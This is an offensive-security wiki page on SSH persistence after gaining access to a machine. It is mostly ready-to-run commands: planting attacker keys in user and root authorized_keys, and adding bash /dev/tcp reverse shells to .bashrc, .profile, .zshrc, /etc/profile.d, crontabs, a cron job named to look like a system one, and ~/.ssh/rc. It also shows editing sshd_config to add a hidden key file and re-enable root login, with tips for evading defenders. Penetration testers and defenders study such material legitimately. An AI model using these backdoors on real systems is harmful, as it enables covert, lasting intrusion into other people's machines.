# SSH Persistence Techniques

> Explores SSH-based persistence methods including authorized_keys manipulation, config backdoors, and rogue SSH daemons to maintain long-term access.

- **URL:** https://hackindex.io/services/ssh/persistence/ssh-persistence
- **Path:** SSH > Persistence
- **Up:** [Persistence](https://hackindex.io/services/ssh/persistence.md)
- **Published:** 2026-05-06
- **Updated:** 2026-05-06

After gaining access via SSH, these techniques keep that access alive beyond the current session. Each method trades off stealth against reliability. Start with authorized keys for guaranteed SSH re-entry, then layer in profile or cron callbacks for redundancy.

Persistence methods covered on this page:

- Authorized keys backdoor (most reliable, survives password resets)
- Shell profile callbacks (`.bashrc`, `.profile`, `.zshrc`)
- Cron-based reverse shell callbacks
- SSHD config manipulation (requires root)
- `~/.ssh/rc` login hook (lower profile than dotfiles)

## Authorized Keys Backdoor

The most direct and reliable method. Add an attacker-controlled public key to the target user's `authorized_keys` file. The key survives password resets, SSH session terminations, and most system updates.

Generate a key pair on the attacker machine:

```bash
ssh-keygen -t ed25519 -f /tmp/backdoor -N ""
```

This produces `/tmp/backdoor` (private) and `/tmp/backdoor.pub` (public). Copy the public key content:

```bash
cat /tmp/backdoor.pub
```

On the target, append the public key to the target user's `authorized_keys`:

```bash
mkdir -p /home/$USER/.ssh
echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /home/$USER/.ssh/authorized_keys
```

Fix permissions: SSH will refuse to use `authorized_keys` if the directory or file permissions are too open:

```bash
chmod 700 /home/$USER/.ssh
chmod 600 /home/$USER/.ssh/authorized_keys
```

For root persistence:

```bash
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
```

Connect back using the private key:

```bash
ssh -i /tmp/backdoor $USER@$TARGET_IP
```

> [!NOTE]
> **OPSEC:** `authorized_keys` is visible to any user who can read `~/.ssh/`. Defenders routinely audit this file. For longer engagements, append rather than replace: removing an entry is harder to detect than seeing an unexpected single entry.

## Shell Profile Persistence

Append a callback to a shell initialization file. The payload fires on the next interactive SSH login or shell spawn. This blends into legitimate dotfiles and survives reboots without needing root.

Per-user targets (runs as the current user on next login):

```bash
echo "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1 &" >> /home/$USER/.bashrc
echo "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1 &" >> /home/$USER/.bash_profile
echo "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1 &" >> /home/$USER/.profile
```

The trailing `&` backgrounds the reverse shell so the interactive SSH session continues normally and does not alert the user.

System-wide target (runs for all users on login, requires root):

```bash
cat > /etc/profile.d/update.sh << 'EOF'
bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1 &
EOF
chmod +x /etc/profile.d/update.sh
```

On the attacker machine, listen before the next SSH session is opened by the target:

```bash
nc -lvnp $LPORT
```

### Zsh Equivalents

If the target user's shell is zsh:

```bash
echo "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1 &" >> /home/$USER/.zshrc
```

Check the target user's shell first:

```bash
grep "^$USER" /etc/passwd
```

## Cron Persistence via SSH User

A crontab entry provides timed callbacks independent of SSH sessions. It survives shell exits and reboots. Install as the target user or as root depending on the privilege level held.

Add a crontab entry as the current user:

```bash
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1") | crontab -
```

This fires every minute. Adjust the schedule to reduce noise: every 5 minutes is less aggressive:

```bash
(crontab -l 2>/dev/null; echo "*/5 * * * * bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1") | crontab -
```

With root access, write directly to `/etc/cron.d/` using a filename that resembles a system job:

```bash
echo "*/5 * * * * $USER bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" > /etc/cron.d/update-check
chmod 644 /etc/cron.d/update-check
```

Cron does not expand shell variables like `$LHOST` and `$LPORT` at runtime unless they are set in the cron environment. Use literal values in the actual entry, or wrap the command in a script:

```bash
cat > /tmp/.cb.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
EOF
chmod +x /tmp/.cb.sh
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.cb.sh") | crontab -
```

## SSHD Config Manipulation

Requires root. If the `sshd_config` is modified incorrectly the daemon may fail to restart, locking out all SSH access including your own. Test changes carefully.

Add a custom `AuthorizedKeysFile` directive pointing to an attacker-controlled path:

```bash
echo "AuthorizedKeysFile /tmp/.keys %h/.ssh/authorized_keys" >> /etc/ssh/sshd_config
echo "ssh-ed25519 AAAA...attacker_pubkey..." > /tmp/.keys
chmod 600 /tmp/.keys
```

ncluding `%h/.ssh/authorized_keys` in the directive keeps existing keys functional: removing it breaks authentication for all legitimate users.

Restart the daemon to apply changes:

```bash
systemctl restart sshd
```

Test the backdoor key before ending the current session:

```bash
ssh -i /tmp/backdoor root@$TARGET_IP
```

> [!NOTE]
> **OPSEC:** Restarting `sshd` generates a log entry and any monitoring on the config file will detect the modification. This is the noisiest method here. Use only when other persistence methods are unavailable or when root access needs to survive key rotation.

### **PermitRootLogin Backdoor**

If root login is disabled, re-enable it via the config:

```bash
sed -i 's/^PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
systemctl restart sshd
```

Then add a root-level authorized key as above.

## SSH RC File

`~/.ssh/rc` is executed by `sshd` on each SSH login for the user, before the shell or `ForceCommand` runs. It is less commonly audited than `authorized_keys` or dotfiles, making it a lower-profile persistence option.

The file executes only when there is no `ForceCommand` set in `sshd_config`. Verify this is not restricted before relying on it:

```bash
grep -i forcecommand /etc/ssh/sshd_config
```

If no `ForceCommand` is present, write the callback:

```bash
cat > /home/$USER/.ssh/rc << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 &
EOF
chmod 700 /home/$USER/.ssh/rc
```

The script requires execute permissions. SSH runs it with the user's shell, so a `bash` shebang is sufficient on most Linux systems.

> [!NOTE]
> **OPSEC:** `~/.ssh/rc` is checked on every SSH login. It fires before the interactive prompt, so the connection appears normal to the user. It does not appear in `crontab -l` output or `ps` history, making it less likely to surface in basic audits. Combined with a backgrounded reverse shell, it is one of the stealthier options here.

## References

- [sshd_config(5)](https://man.openbsd.org/sshd_config.5) - OpenBSD manual | Full reference for sshd_config directives including AuthorizedKeysFile, ForceCommand, and PermitRootLogin.
- [sshd(8)](https://man.openbsd.org/sshd.8) - OpenBSD manual | Documents ~/.ssh/rc execution conditions and per-user login behavior.
